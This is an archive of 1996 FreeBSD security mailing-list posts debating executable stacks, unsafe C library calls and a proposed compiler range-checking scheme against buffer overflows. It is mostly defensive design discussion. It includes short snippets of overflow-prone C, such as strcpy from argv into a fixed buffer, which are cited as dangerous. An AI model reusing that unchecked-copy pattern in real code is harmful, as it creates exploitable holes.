from the text segment, which is read-only, and refuse > > : to perform if not. > > > > Well, couldn't the code that was inserted onto the stack copy itself > > somewhere handy, make that a read only text segment, and make these > > calls? > > Why is the stack segment executable in the first place? Or does Intel > > require this? > > Because this would fall over if it wasn't: > > main(int ac, char **av) > { > time_t localtime, (*yukky)(time_t *) = time; > > yukky(&localtime); > printf("%s", ctime(&localtime)); > } I don't think so, the assembly generate for this is: movl $_time,-8(%ebp) leal -4(%ebp),%eax pushl %eax movl -8(%ebp),%ebx call *%ebx No place did you ``execute'' stack contents, it was all data class references. -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation Company Reliable computers for FreeBSD From owner-freebsd-security Mon Aug 26 04:21:36 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA04964 for security-outgoing; Mon, 26 Aug 1996 04:21:36 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id EAA04950 for ; Mon, 26 Aug 1996 04:21:29 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.6.12/8.6.12) id EAA18518; Mon, 26 Aug 1996 04:21:10 -0700 From: "Rodney W. Grimes" Message-Id: <199608261121.EAA18518@GndRsh.aac.dev.com> Subject: Re: Vulnerability in the Xt library (fwd) To: dg@root.com Date: Mon, 26 Aug 1996 04:21:10 -0700 (PDT) Cc: imp@village.org, gene@starkhome.cs.sunysb.edu, security@FreeBSD.ORG In-Reply-To: <199608260633.XAA00528@root.com> from David Greenman at "Aug 25, 96 11:33:45 pm" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >: However, this new system call could test to make sure that it is > >: being executed from the text segment, which is read-only, and refuse > >: to perform if not. > > > >Well, couldn't the code that was inserted onto the stack copy itself > >somewhere handy, make that a read only text segment, and make these > >calls? > > > >Why is the stack segment executable in the first place? Or does Intel > >require this? > > There isn't any notion of "executable" in the x86 page table mechanism. You > could probably use the user code selector to limit execution to low (lower > than the stack) addresses, but you'd have to deal with the signal trampoline. What are we loading into SS? Is it just a copy of the DS? If so couldn't a seperate SS segment be set up with type SDT_MEMRWA or SDT_MEMRW, or since this is a stack shouldn't it be SDT_MEMRWD or MEMRWDA? -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation Company Reliable computers for FreeBSD From owner-freebsd-security Tue Aug 27 20:08:17 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA19829 for security-outgoing; Tue, 27 Aug 1996 20:08:17 -0700 (PDT) Received: from psychotic.communica.com.au (gw.communica.com.au [203.8.94.161]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id UAA19805 for ; Tue, 27 Aug 1996 20:08:11 -0700 (PDT) Received: from communica.com.au (newton@frenzy [192.82.222.1]) by psychotic.communica.com.au (8.6.12/8.6.9) with SMTP id MAA02726; Wed, 28 Aug 1996 12:34:57 +0930 Received: by communica.com.au (4.1/SMI-4.1) id AA14763; Wed, 28 Aug 96 12:34:47 CST From: newton@communica.com.au (Mark Newton) Message-Id: <9608280304.AA14763@communica.com.au> Subject: Re: Vulnerability in the Xt library (fwd) To: zach@blizzard.gaffaneys.com (Zach Heilig) Date: Wed, 28 Aug 1996 12:34:47 +0930 (CST) Cc: gene@starkhome.cs.sunysb.edu, security@freebsd.org In-Reply-To: <87hgpqo50j.fsf@freebsd.gaffaneys.com> from "Zach Heilig" at Aug 26, 96 04:42:52 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Zach Heilig wrote: > What we need is a lint-like utility (better > than gcc) that can warn when it finds code like: > > { > int buf[somesize]; > > strcpy(buf, argv[1]); > } > > which is dangerous in all programs, it's just less dangerous than in > setuid ones. Ah, you mean like the strcpy(pathbuf, home) in tgetent() in termcap.c? Really, strcpy isn't all such a program would need to look for. There are many C library routines which perform no bounds checking (sprintf(), gets(), strcpy() to name a few) and, even worse, there are countless home-grown memory to memory copy routines which have been written in ignorance of the possible consequences of poor range checking and the assumption that if a buffer overflows the program will crash and it's the stupid user's own fault. Essentially, your rebadged "lint" would end up attempting to be a program which tests the "correctness" of code, and if you can write one of them then I suspect you'll end up richer than Bill Gates :-) When gcc started printing "This program uses gets(), which is probably unsafe" the first time a program called gets(), users yelled and screamed their complaints for months. Regardless, I believe the best way to deal with errors caused by buffer overflows in standard C-library routines is going to be to insert similar warning messages in those programs and make sure that programmers know that their programs will be ugly if they use 'em. - mark [ running off to find setuid executables linked against termcap... ] --- Mark Newton Email: newton@communica.com.au Systems Engineer Phone: +61-8-373-2523 Communica Systems WWW: http://www.communica.com.au From owner-freebsd-security Wed Aug 28 00:07:07 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA07387 for security-outgoing; Wed, 28 Aug 1996 00:07:07 -0700 (PDT) Received: from freebsd.gaffaneys.com (dialup2.gaffaneys.com [134.129.252.21]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA07378 for ; Wed, 28 Aug 1996 00:07:03 -0700 (PDT) Received: (from zach@localhost) by freebsd.gaffaneys.com (8.7.5/8.7.3) id CAA04232; Wed, 28 Aug 1996 02:08:08 -0500 (CDT) To: newton@communica.com.au (Mark Newton) Cc: gene@starkhome.cs.sunysb.edu, security@freebsd.org Subject: Re: Vulnerability in the Xt library (fwd) References: <9608280304.AA14763@communica.com.au> From: Zach Heilig Date: 28 Aug 1996 02:08:07 -0500 In-Reply-To: newton@communica.com.au's message of Wed, 28 Aug 1996 12:34:47 +0930 (CST) Message-ID: <87g258j8a0.fsf@freebsd.gaffaneys.com> Lines: 83 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk newton@communica.com.au (Mark Newton) writes: > Zach Heilig wrote: > > What we need is a lint-like utility (better > > than gcc) that can warn when it finds code like: > > { > > int buf[somesize]; > > > > strcpy(buf, argv[1]); > > } > > which is dangerous in all programs, it's just less dangerous than in > > setuid ones. > Ah, you mean like the strcpy(pathbuf, home) in tgetent() in termcap.c? Yeah, like that :-). > Really, strcpy isn't all such a program would need to look for. > There are many C library routines which perform no bounds checking > (sprintf(), gets(), strcpy() to name a few) and, even worse, there > are countless home-grown memory to memory copy routines which have > been written in ignorance of the possible consequences of poor range > checking and the assumption that if a buffer overflows the program > will crash and it's the stupid user's own fault. Essentially, your > rebadged "lint" would end up attempting to be a program which tests > the "correctness" of code, and if you can write one of them then I > suspect you'll end up richer than Bill Gates :-) Actually, you can get away a bit cheaper than that. The compiler could simply complain if a block of memory were passed to a function without first checking its length. There are ways to subvert this method, but a utility like that should catch most such errors. If I can find my notes, I've come up with a way to do range checking, without stepping on the programmers toes too badly (though it would have a noticeable impact on performance). The basic idea is to keep a table of all the blocks of memory in a program (the beginning and ending addresses), and check to make sure that all pointers are within one of these blocks whenever they are changed (pointers are usually changed less often than they are dereferenced). This method may be even more expensive than you might think, as there would be several different blocks to test against every time a pointer is changed. You would merge blocks that were adjacent, but consider the local variable blocks on the stack. You really shouldn't include the return addresses in the valid pointer list, so you have at least as many blocks as there are function calls on the stack. The list of active blocks would have to be kept up to date somehow as well. I suppose if you kept the list of blocks in a mostly balanced tree (or even a heap), verifying each pointer would take an average of (log2 n) tests, as would inserting or removing a block from the list (where n == number of memory blocks). The major disadvantage to this method is the high up front cost of not only implementing it, but also testing for and fixing every program that allows user input to overrun a buffer. > When gcc started printing "This program uses gets(), which is > probably unsafe" the first time a program called gets(), users > yelled and screamed their complaints for months. Regardless, I > believe the best way to deal with errors caused by buffer overflows > in standard C-library routines is going to be to insert similar > warning messages in those programs and make sure that programmers > know that their programs will be ugly if they use 'em. It would be silly to blindly print an error the first time each of the "unsafe" memory copy routines are called (simply because there are safe ways to call them). gets() is an entirely different beast as the programmer doesn't have control over the amount of data it tries to read. I don't have any extra disk space at the moment (looking to buy a 2gig SCSI drive, but won't be able to for a few months), or I'd experiment with some of my suggestions above. -- Zach Heilig (zach@blizzard.gaffaneys.com) | ALL unsolicited commercial email Support bacteria -- it's the | is unwelcome. I avoid dealing only culture some people have! | with companies that email ads. From owner-freebsd-security Wed Aug 28 00:52:09 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA09870 for security-outgoing; Wed, 28 Aug 1996 00:52:09 -0700 (PDT) Received: from psychotic.communica.com.au (gw.communica.com.au [203.8.94.161]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA09863 for ; Wed, 28 Aug 1996 00:52:02 -0700 (PDT) Received: from communica.com.au (newton@frenzy [192.82.222.1]) by psychotic.communica.com.au (8.6.12/8.6.9) with SMTP id RAA03946; Wed, 28 Aug 1996 17:18:56 +0930 Received: by communica.com.au (4.1/SMI-4.1) id AA19152; Wed, 28 Aug 96 17:18:47 CST From: newton@communica.com.au (Mark Newton) Message-Id: <9608280748.AA19152@communica.com.au> Subject: Re: Vulnerability in the Xt library (fwd) To: zach@blizzard.gaffaneys.com (Zach Heilig) Date: Wed, 28 Aug 1996 17:18:46 +0930 (CST) Cc: newton@communica.com.au, gene@starkhome.cs.sunysb.edu, security@freebsd.org In-Reply-To: <87g258j8a0.fsf@freebsd.gaffaneys.com> from "Zach Heilig" at Aug 28, 96 02:08:07 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Zach Heilig wrote: > > Really, strcpy isn't all such a program would need to look for. > > There are many C library routines which perform no bounds checking > > (sprintf(), gets(), strcpy() to name a few) and, even worse, there > > are countless home-grown memory to memory copy routines which have > > been written in ignorance of the possible consequences of poor range > > checking and the assumption that if a buffer overflows the program > > will crash and it's the stupid user's own fault. Essentially, your > > rebadged "lint" would end up attempting to be a program which tests > > the "correctness" of code, and if you can write one of them then I > > suspect you'll end up richer than Bill Gates :-) > > Actually, you can get away a bit cheaper than that. The compiler > could simply complain if a block of memory were passed to a function > without first checking its length. Eh? A "block" of memory? How does one define a block? Functions don't usually pass "blocks" anyway, they pass references. Also, how are you going to tell if the "block" has been length-checked? I challenge you to come up with some code which detects the following as a lengthcheck operation: char *p, *src; extern char *buf; unsigned int cnt; p = src = getenv("USER_ENV_VAR"); while (*p++ != '\0') ++cnt; if (cnt < MAXBUFCNT) strcpy(buf, src); Now, there are many ways in which I could express that same code block; your checker would need to be able to recognise all of them to be able to give the above code a clean bill of health. > There are ways to subvert this > method, but a utility like that should catch most such errors. Hmm. > If I can find my notes, I've come up with a way to do range checking, > without stepping on the programmers toes too badly (though it would > have a noticeable impact on performance). The basic idea is to keep a > table of all the blocks of memory in a program (the beginning and > ending addresses), and check to make sure that all pointers are within > one of these blocks whenever they are changed (pointers are usually > changed less often than they are dereferenced). Isn't this what the VM system does? Like, isn't a SIGSEGV caused by dereferencing a pointer to a "block" that doesn't exist? If I write my own memory allocator (like many freely distributable programs do -- How many times have you seen malloc.c in a freeware source tree?) which works by allocating "blocks" of memory then dividing them up with internal pointers whenever a malloc() call is made, your range checking wouldn't work. Since this is more or less what the real malloc() call does anyway, it'd probably be infeasible even without a custom-written malloc. What would you do if I called "free()"? Doesn't that leave a pointer dangling which points into hyperspace? Consider the same for an munmap() which follows an mmap() (or basically any other deallocation routine). Oh, that's right, UNIX programmers traditionally avoid free()'s and munmap()'s because memory is unlimited, don't they ) In any case, your approach ignores one of the fundamental advantages of C: If a programmer knows what he's doing, he should be able to do whatever he likes with the memory that has been allocated to him. If he wants to overwrite bits of his stack with code, or have an array filled with bytes that make up a machine code program he wants to execute, or whatever, then stopping him isn't going to win you any friends. > This method may be even more expensive than you might think, as there I can think pretty expensively :-) > would be several different blocks to test against every time a pointer > is changed. You would merge blocks that were adjacent, but consider > the local variable blocks on the stack. You really shouldn't include > the return addresses in the valid pointer list, so you have at least > as many blocks as there are function calls on the stack. We'd better remove longjmp() from the C library, no? :-) > The major disadvantage to this method is the high up front cost of not > only implementing it, but also testing for and fixing every program > that allows user input to overrun a buffer. I suspect we're on the long road of fixing them anyway. I think your method would basically involve rewriting bits of the compiler. If every assignment operation would need to be checked, you'd need to generate checking code to do it. I'm still interested to know how you detect that a program has legitimately allocated a new "block," though -- The inability to do that seriously limits the functionality of your suggestion. [ remember also that it isn't only the stack that's going to be a danger here: globals in bss can get you into trouble too. Consider two strings in adjacent memory; the first string is initialized from user input, the second string is initialized from some "trusted" information, and is eventually passed on to exec() or system(). If the second string is initialized first, and the user data which initializes the first string blows the buffer and overflows into the addresses utilized by the second, then bogus data gets passed to exec() with obvious implications. Could you detect that kind of thing? ] - mark --- Mark Newton Email: newton@communica.com.au Systems Engineer Phone: +61-8-373-2523 Communica Systems WWW: http://www.communica.com.au From owner-freebsd-security Wed Aug 28 01:06:37 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA10810 for security-outgoing; Wed, 28 Aug 1996 01:06:37 -0700 (PDT) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA10796 for ; Wed, 28 Aug 1996 01:06:34 -0700 (PDT) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.7.5/8.7.3) id BAA00284; Wed, 28 Aug 1996 01:06:05 -0700 (PDT) From: Don Lewis Message-Id: <199608280806.BAA00284@salsa.gv.ssi1.com> Date: Wed, 28 Aug 1996 01:06:04 -0700 In-Reply-To: Zach Heilig "Re: Vulnerability in the Xt library (fwd)" (Aug 28, 2:08am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Zach Heilig , newton@communica.com.au (Mark Newton) Subject: Re: Vulnerability in the Xt library (fwd) Cc: gene@starkhome.cs.sunysb.edu, security@FreeBSD.org Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Aug 28, 2:08am, Zach Heilig wrote: } Subject: Re: Vulnerability in the Xt library (fwd) } newton@communica.com.au (Mark Newton) writes: } } > Zach Heilig wrote: } } > Really, strcpy isn't all such a program would need to look for. } > There are many C library routines which perform no bounds checking } > (sprintf(), gets(), strcpy() to name a few) and, even worse, there } > are countless home-grown memory to memory copy routines which have } > been written in ignorance of the possible consequences of poor range } > checking and the assumption that if a buffer overflows the program } > will crash and it's the stupid user's own fault. Essentially, your } > rebadged "lint" would end up attempting to be a program which tests } > the "correctness" of code, and if you can write one of them then I } > suspect you'll end up richer than Bill Gates :-) } } Actually, you can get away a bit cheaper than that. The compiler } could simply complain if a block of memory were passed to a function } without first checking its length. There are ways to subvert this } method, but a utility like that should catch most such errors. } } If I can find my notes, I've come up with a way to do range checking, } without stepping on the programmers toes too badly (though it would } have a noticeable impact on performance). The basic idea is to keep a } table of all the blocks of memory in a program (the beginning and } ending addresses), and check to make sure that all pointers are within } one of these blocks whenever they are changed (pointers are usually } changed less often than they are dereferenced). This has already been done as an addon to gcc. Check out: ftp://dse.doc.ic.ac.uk/pub/misc/bcc --- Truck From owner-freebsd-security Thu Aug 29 06:05:45 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA07039 for security-outgoing; Thu, 29 Aug 1996 06:05:45 -0700 (PDT) Received: from egeo.unipg.it (egeo.unipg.it [141.250.1.4]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id GAA07031 for ; Thu, 29 Aug 1996 06:05:33 -0700 (PDT) Received: from dedalo.unipg.it by egeo.unipg.it (AIX 3.2/UCB 5.64/MH-1.09) id AA03129; Thu, 29 Aug 1996 15:05:22 +0200 From: sabatini@unipg.it (Giovanni Sabatini) Received: by dedalo.unipg.it (AIX 3.2/UCB 5.64/NC-1.06) id AA21290; Thu, 29 Aug 1996 15:05:22 +0200 Message-Id: <9608291305.AA21290@dedalo.unipg.it> Subject: freebsd-security To: freebsd-security@FreeBSD.ORG Date: Thu, 29 Aug 1996 15:05:21 +0100 (MDT) X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk subscribe freebsd-security From owner-freebsd-security Thu Aug 29 09:03:22 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA15415 for security-outgoing; Thu, 29 Aug 1996 09:03:22 -0700 (PDT) Received: from phoenix.csie.nctu.edu.tw (root@phoenix.csie.nctu.edu.tw [140.113.17.171]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA15395 for ; Thu, 29 Aug 1996 09:03:17 -0700 (PDT) Received: from FreeBSD.csie.NCTU.edu.tw (freebsd.csie.nctu.edu.tw [140.113.235.250]) by phoenix.csie.nctu.edu.tw (8.7.5/8.7.5) with ESMTP id AAA12406 for ; Fri, 30 Aug 1996 00:00:45 +0800 (CST) Received: (from jdli@localhost) by FreeBSD.csie.NCTU.edu.tw (8.7.5/8.7.3) id AAA27169 for freebsd-security@freebsd.org; Fri, 30 Aug 1996 00:02:31 +0800 (CST) From: Jian-Da Li Message-Id: <199608291602.AAA27169@FreeBSD.csie.NCTU.edu.tw> Subject: user_wrapper available for testing !! To: freebsd-security@freebsd.org Date: Fri, 30 Aug 1996 00:02:30 +0800 (CST) X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi : The user_wrapper is a user-based access control which allows each user to have personal tcp_wrapper-like access control. You can get it from : ftp://freebsd.csie.nctu.edu.tw/pub/jdli/collect/user_wrapper.tgz ====== From README ======== * Related files: (mode should set to 0600) ~/.hosts.allow : allow rules ~/.hosts.deny : deny rules ~/.refused-log : refused log * Keywords currently available: 1. login : control telnetd/rlogind or anything use /usr/bin/login 2. ftpd 3. rshd 4. su : allow who can su to your account * Access control syntax: service: allow_lists #this_rule_only_applied_on_these_hosts su: allow_user_lists #this_rule_only_applied_on_these_hosts man hosts_access (from tcp_wrapper) for rule details. * Example: ~/.hosts.allow login: ALL #sun1,sun2 <= allow all, only if connect to sun1,sun2 ftpd: LOCAL rshd: .my.domain, 192.168. su: user1,user2 ~/.hosts.deny su: FAIL ALL:ALL * You may add these into ~/.login : if ( -f ~/.refused-log && ! -z ~/.refused-log) then /bin/cat ~/.refused-log * Make other daemon functional is easy, take a look at each patch. These patches are against FreeBSD 2.2-current 8/29/1996, but it should also apply to other version of FreeBSD. * Developed by Dept. of Computer Science and Information Engineering, National Chiao-Tung University Taiwan, based on tcp_wrapper. Port to FreeBSD by jdli@csie.nctu.edu.tw. -- 李 建 達 (Jian-Da Li) 交 大 資 工 E-Mail : http://www.csie.nctu.edu.tw/~jdli From owner-freebsd-security Thu Aug 29 10:55:54 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA21556 for security-outgoing; Thu, 29 Aug 1996 10:55:54 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA21529 for ; Thu, 29 Aug 1996 10:55:47 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.13/1.53) id TAA18491; Thu, 29 Aug 1996 19:55:30 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199608291755.TAA18491@gvr.win.tue.nl> Subject: Re: pluggable authentication modules To: dugsong@monkey.org (Douglas Song) Date: Thu, 29 Aug 1996 19:55:29 +0200 (MET DST) Cc: freebsd-security@freebsd.org In-Reply-To: from Douglas Song at "Jun 27, 96 05:18:09 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Douglas Song wrote: > Is any work being done on implementing PAM (pluggable authentication > modules) for FreeBSD? I already know of some people in the Linux camp that > are working on it. I would like to help code this, if anyone's interested. > > More information on PAM is available from the OSF RFC 86.0, or at > > http://fangorn.ncsa.uiuc.edu/faq/motif.faq.034.html Sorry I get to you so late... Anyway: Sean Eric fagan is busy implementing login classes for FreeBSD. This functionality would be the same as the BSDi implementation. See their docs, or manual pages. Basically this will indeed give you authentication of any type. -Guido From owner-freebsd-security Thu Aug 29 11:45:12 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA26134 for security-outgoing; Thu, 29 Aug 1996 11:45:12 -0700 (PDT) Received: from io.org (io.org [198.133.36.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA26129 for ; Thu, 29 Aug 1996 11:45:10 -0700 (PDT) Received: from phr3q (orbitor-70.ica.net [205.210.59.170]) by io.org (8.6.12/8.6.12) with SMTP id OAA08079; Thu, 29 Aug 1996 14:43:23 -0400 Date: Thu, 29 Aug 1996 14:39:04 -0400 (EDT) From: "Erik K. Escobar" X-Sender: kaotik@phr3q To: Giovanni Sabatini cc: freebsd-security@FreeBSD.ORG Subject: Re: freebsd-security In-Reply-To: <9608291305.AA21290@dedalo.unipg.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 29 Aug 1996, Giovanni Sabatini wrote: > subscribe freebsd-security > what does this have to do with me!?!?! Lord Kaotik [ ZENC0R TECHN0L0GIES ] E-Mail : Kaotik@twirl.skf.com IRC: #Zen!c0r WEB : http://www.cnw.com/~sos/grym.html From owner-freebsd-security Fri Aug 30 03:00:27 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA00547 for security-outgoing; Fri, 30 Aug 1996 03:00:27 -0700 (PDT) Received: from freebsd.gaffaneys.com (dialup1.gaffaneys.com [134.129.252.20]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA00532 for ; Fri, 30 Aug 1996 03:00:18 -0700 (PDT) Received: (from zach@localhost) by freebsd.gaffaneys.com (8.7.5/8.7.3) id FAA06918; Fri, 30 Aug 1996 05:02:18 -0500 (CDT) To: newton@communica.com.au (Mark Newton) Cc: security@FreeBSD.org Subject: Range checking (was Re: Vulnerability in the Xt library (fwd)) References: <9608280748.AA19152@communica.com.au> From: Zach Heilig Date: 30 Aug 1996 05:02:16 -0500 In-Reply-To: newton@communica.com.au's message of Wed, 28 Aug 1996 17:18:46 +0930 (CST) Message-ID: <87hgplur4n.fsf@freebsd.gaffaneys.com> Lines: 187 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I spent the past couple days trying to figure out how to do range checking (which would be one way to avoid the setuid problems FreeBSD has been having) effectively, and have come to the conclusion that it is relatively easy to do in a simple manner (see the bcc package someone put together for gcc), but tricky to actually get right (I knew that already, but the point has become even more clear to me...) newton@communica.com.au (Mark Newton) writes: > Eh? A "block" of memory? How does one define a block? Functions don't > usually pass "blocks" anyway, they pass references. Right, references to a block of memory. I guess I should have been a little more specific :-). Eventually, you do get down to dealing with the actual block of memory though. > Also, how are you going to tell if the "block" has been length-checked? > I challenge you to come up with some code which detects the following > as a lengthcheck operation: As I said, there are some loopholes with this sort of system, but it would error on the side of complaining. The real question is how many setuid programs are written using a loop to check "block" length as opposed to using strlen()? I don't have the disk space to expand the source tree to look and find out. > > The basic idea is to keep a > > table of all the blocks of memory in a program (the beginning and > > ending addresses), and check to make sure that all pointers are within > > one of these blocks whenever they are changed (pointers are usually > > changed less often than they are dereferenced). > Isn't this what the VM system does? Like, isn't a SIGSEGV caused by > dereferencing a pointer to a "block" that doesn't exist? The VM only cares if the pointer is within the the programs address space. We care if it is pointing to the correct variable (or within an approved block of memory). It looks to me that the "blocks" of global/static memory allocated at compile time need a word of memory between them that is not in a valid "block". This would (mostly) prevent an overrun of each individual block/array. > If I write my own memory allocator (like many freely distributable > programs do -- How many times have you seen malloc.c in a freeware > source tree?) which works by allocating "blocks" of memory then > dividing them up with internal pointers whenever a malloc() call is > made, your range checking wouldn't work. Since this is more or less > what the real malloc() call does anyway, it'd probably be infeasible > even without a custom-written malloc. You would presumably link the program against a custom malloc() if you were compiling for range checking. malloc() (and similar functions) would have to tell the range checking subsystem every block that was allocated or freed. brk(), sbrk(), or most other system calls that receive memory direct from the kernel would not have this code. malloc() (and close friends) would have to be careful to leave at least a word of "invalid" memory between each block it allocated to allow this range checking to work properly. The mmap() system call poses a big problem though. Perhaps the wrapper could special case those calls that are for memory allocation (usually those that mmap /dev/zero). > What would you do if I called "free()"? Doesn't that leave a pointer > dangling which points into hyperspace? Consider the same for an > munmap() which follows an mmap() (or basically any other deallocation > routine). Oh, that's right, UNIX programmers traditionally avoid > free()'s and munmap()'s because memory is unlimited, don't they ) Oops, it looks like the "valid pointer checks" would have to occur right at each dereference, as opposed to each time the pointer is changed... thanks to functions similar to free(). > In any case, your approach ignores one of the fundamental advantages > of C: If a programmer knows what he's doing, he should be able to > do whatever he likes with the memory that has been allocated to him. > If he wants to overwrite bits of his stack with code, or have an array > filled with bytes that make up a machine code program he wants to > execute, or whatever, then stopping him isn't going to win you any > friends. Yes, this is true, but it is very bad practice to stomp all over memory you did not allocate in some fashion. This may or may not include the return address on the stack (I think changing the return address should be taboo). Tricks may be ok for standard programs, where if that program fails it doesn't affect much else, but tricks that depend on some obscure or undocumented / unintended behavior should not be used in security sensitive code. Besides, this is would be a voluntary option (obviously). > > would be several different blocks to test against every time a pointer > > is changed. You would merge blocks that were adjacent, but consider > > the local variable blocks on the stack. You really shouldn't include > > the return addresses in the valid pointer list, so you have at least > > as many blocks as there are function calls on the stack. > We'd better remove longjmp() from the C library, no? :-) This does seem to through a pretty big monkeywrench into this scheme, doesn't it? The short answer is longjump() and friends would not be subject to these tests. Various functions that would be difficult or impossible to write in the presence of range checking would have to be compiled without it enabled. The jmp_buf buffer would be safe, since pointers would not be able to overrun any other block of memory, thus preventing an attacker from modifying the contents of that buffer. I suspect current setuid programs that use this family of functions could have a vulnerability in this area. > > The major disadvantage to this method is the high up front cost of not > > only implementing it, but also testing for and fixing every program > > that allows user input to overrun a buffer. > I suspect we're on the long road of fixing them anyway. I wonder if it would be cheaper to implement range checking or to have a formal review of every setuid program... > I think your method would basically involve rewriting bits of the > compiler. If every assignment operation would need to be checked, > you'd need to generate checking code to do it. I'm still interested > to know how you detect that a program has legitimately allocated a > new "block," though -- The inability to do that seriously limits the > functionality of your suggestion. Due to functions like free() that invalidate a pointer, the check would have to occur right before every dereference, not just when the pointer is changed. The compiler would set up a static structure (that would be added to at run time) with all the compile time allocated blocks of memory. All the functions that allocate memory (excepting the lowest level functions) would inform the range checking subsystem of every new block (this would include calling a function with an array or structure as a local variable). All the functions that "returned" memory to the system would then inform the range checking system of each block that was no longer valid (also, this includes returning from a function). All the local (non-array) variables would have to be included in a block (just a single large block should be sufficient), and the local arrays and structures would each be separated from each other by an "invalid" word. The parameters would have to be added to the list of valid blocks as well (before the function is called) and removed from the list after the function returned. The global simple variables would also be bunched together into a block, and the global structures and arrays would be separated by an invalid word. I did say this would be expensive, right? The local variables to each function would be sorted so the simple variables would take only one block, while the arrays and structures would be separated. Actually, it seems that some structures could be considered simple variables as well (if it didn't contain any element that was an array, it's these blocks of memory that we need to watch out for). This system seem like it could interact badly with the variable arguement functions, but I don't think I've seen any that pass something other than a simple variable type. The simple variables can be bunched together without much (if any) loss in protection. > [ remember also that it isn't only the stack that's going to be a > danger here: globals in bss can get you into trouble too. Consider > two strings in adjacent memory; the first string is initialized from > user input, the second string is initialized from some "trusted" > information, and is eventually passed on to exec() or system(). If > the second string is initialized first, and the user data which > initializes the first string blows the buffer and overflows into the > addresses utilized by the second, then bogus data gets passed to > exec() with obvious implications. Could you detect that kind of > thing? ] The way I originally suggested this, no, because adjacent blocks would be merged as far as the range checking was concerned. I think I've cleaned up the proposal to include detecting "that kind of thing". I'm also sure that there are issues I haven't thought of yet that need to be addressed properly. This is one of the options I would like in a 'debugging' compiler, and I would be very interested in helping along these lines. My problem being a lack of local disk space (Ok, I could probably make room for compiler source...). If this project is active when I get a bigger fixed disk (hopefully before Christmas, but probably after Thanksgiving), I'll be happy to pitch in at that time. -- Zach Heilig (zach@blizzard.gaffaneys.com) | ALL unsolicited commercial email Support bacteria -- it's the | is unwelcome. I avoid dealing only culture some people have! | with companies that email ads.